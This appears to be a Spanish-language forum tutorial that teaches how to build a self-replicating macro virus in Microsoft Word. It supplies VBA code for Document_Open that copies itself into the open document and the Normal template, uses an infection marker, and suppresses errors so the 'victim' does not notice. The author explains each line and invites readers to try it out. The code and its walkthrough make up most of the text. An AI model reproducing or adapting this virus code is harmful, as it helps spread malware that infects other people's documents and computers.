kazin

Bueno a continuacion se explicara como crear un virus (macro) en cualquier programa de la familia MSOffice. (Se explicara con MSWord) Creacion de virus Macro. By ¹ SlowEmotion ² Primero que nada entramos al programa (en este tuto se utilizara Word) una ves adentro del programa nos dirijimos a el menu: Herramientas --> Macro --> Editor de Visual Basic Una ves adentro seguramente estaran acostumbrados al entorno VB. Ahora fijen su vista en la seccion izquierda de la pantalla... Se observaran 2 proyectos: Normal Project (Documento1) A continuacion se explicara la funcion principal de cada uno de ellos: Normal: Contiene toda la informacion que se carga cuando Word se inicia... Osea... nuestro objetivo es que el codigo se copie a si mismo (Virus) en el normal... para que de esta manera infecte tambien a los documentos proximos a abrirse. Project (Documento1): Contiene toda la infomacion que se carga cuando se abre el archivo que nosotros creamos. Aqui iria nuestro codigo original... Buenisimo... hasta aca todo re bien.. pero ¿ahora que KaZiN? Infeccion por Class Object o ThisDocument Pues sencillo... abrimos el Project (Documento1) y abrimos el codigo de ThisDocument y luego programamos lo que se nos cante. Los eventos son: Sub AutoOpen() : Cuando se abre un documento. Funciona en Modulos Sub AutoClose() : Cuando se cierra un documento. Funciona en Modulos Sub Document_Open() : Cuando se abre un documento. Funciona en Class Object Sub Document_Close() : Cuando se cierra un documento. Funciona en Class Object Sub ViewVBCode() : Cuando se carga el editor de Visual Basic. Sub ToolsMacro() : Cuando se carga la lista de macros. Entonces, logico es que se utilizan AutoOpen(), AutoClose(), Document_Open() o Document_Close() para colocar el codigo, entonces, al cargarse un documento infectado este revisa si la plantilla normal esta infectada, si lo esta, entonces continua. Si no lo esta, copia su codigo a esta, entonces queda el virus residente en la plantilla normal, por lo cual cada vez que se de uno de los eventos anteriormente mencionados esta copiara su codigo a todos los documentos que se abran ( Bien ahi ) Pero hoy solo trabajaremos con Document_Open() y Document_Close() ya que este tuto se limita a Class Object . Bueno a continuacion haremos los siguiente: Abrimos la planilla de nuestro documento... y le ponemos un codigo como este por ej : 'KaZiN Private Sub Document_Open() On Error Resume Next Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule Codigo = Rulz.Lines(1, Rulz.CountOfLines) If (Slow.Lines(1, 1) <> "'KaZiN" Then Slow.AddFromString Codigo End If If (Emotion.Lines(1, 1) <> "'KaZiN" Then Emotion.AddFromString Codigo End If End Sub bue... vamos a explicar que carajo fue lo que puse por si alguien no lo entendio =P. 'KaZiN La primer linea del codigo tiene que tener lo que ustedes tengan ganas, esta sera la forma de saber si la pc ya esta infectada por nuestro virus o no. Entenderan mas adelante On Error Resume Next Simplemente para que en caso de que halla un error no se de cuenta nuestra victima Set Slow = ActiveDocument.VBProject.VBComponents(1).CodeModule Colocamos a Slow igual al codigo del class object del documento activo. Set Emotion = NormalTemplate.VBProject.VBComponents(1).CodeModule Colocamos a Emotion igual al codigo del class object del Normal Set Rulz = VBE.ActiveVBProject.VBComponents(1).CodeModule Colocamos a Rulz igual al codigo del class object del proyecto activo. Codigo = Rulez.Lines(1, Rulez.CountOfLines) Colocamos Codigo como el codigo del proyecto activo (Osea nuestro code) If (Slow.Lines(1, 1) <> "'KaZiN" Then Slow.AddFromString Codigo End If If (Emotion.Lines(1, 1) <> "'KaZiN" Then Emotion.AddFromString Codigo End If Nos fijamos si la primera linea del documento activo es igual a nuestra marca de infeccion, si no lo es importamos desde la variable "Codigo" anteriormente declarada. Luego hace lo mismo con la plantilla Normal. Ok ok ahi tienen explicado el codigo... bueno ahora simplemente prueben y disfruten creando . Espero que les halla gustado este manual! Si se copan me ponen unos puntos asi paso a ser usuario normal... y sino buena onda igual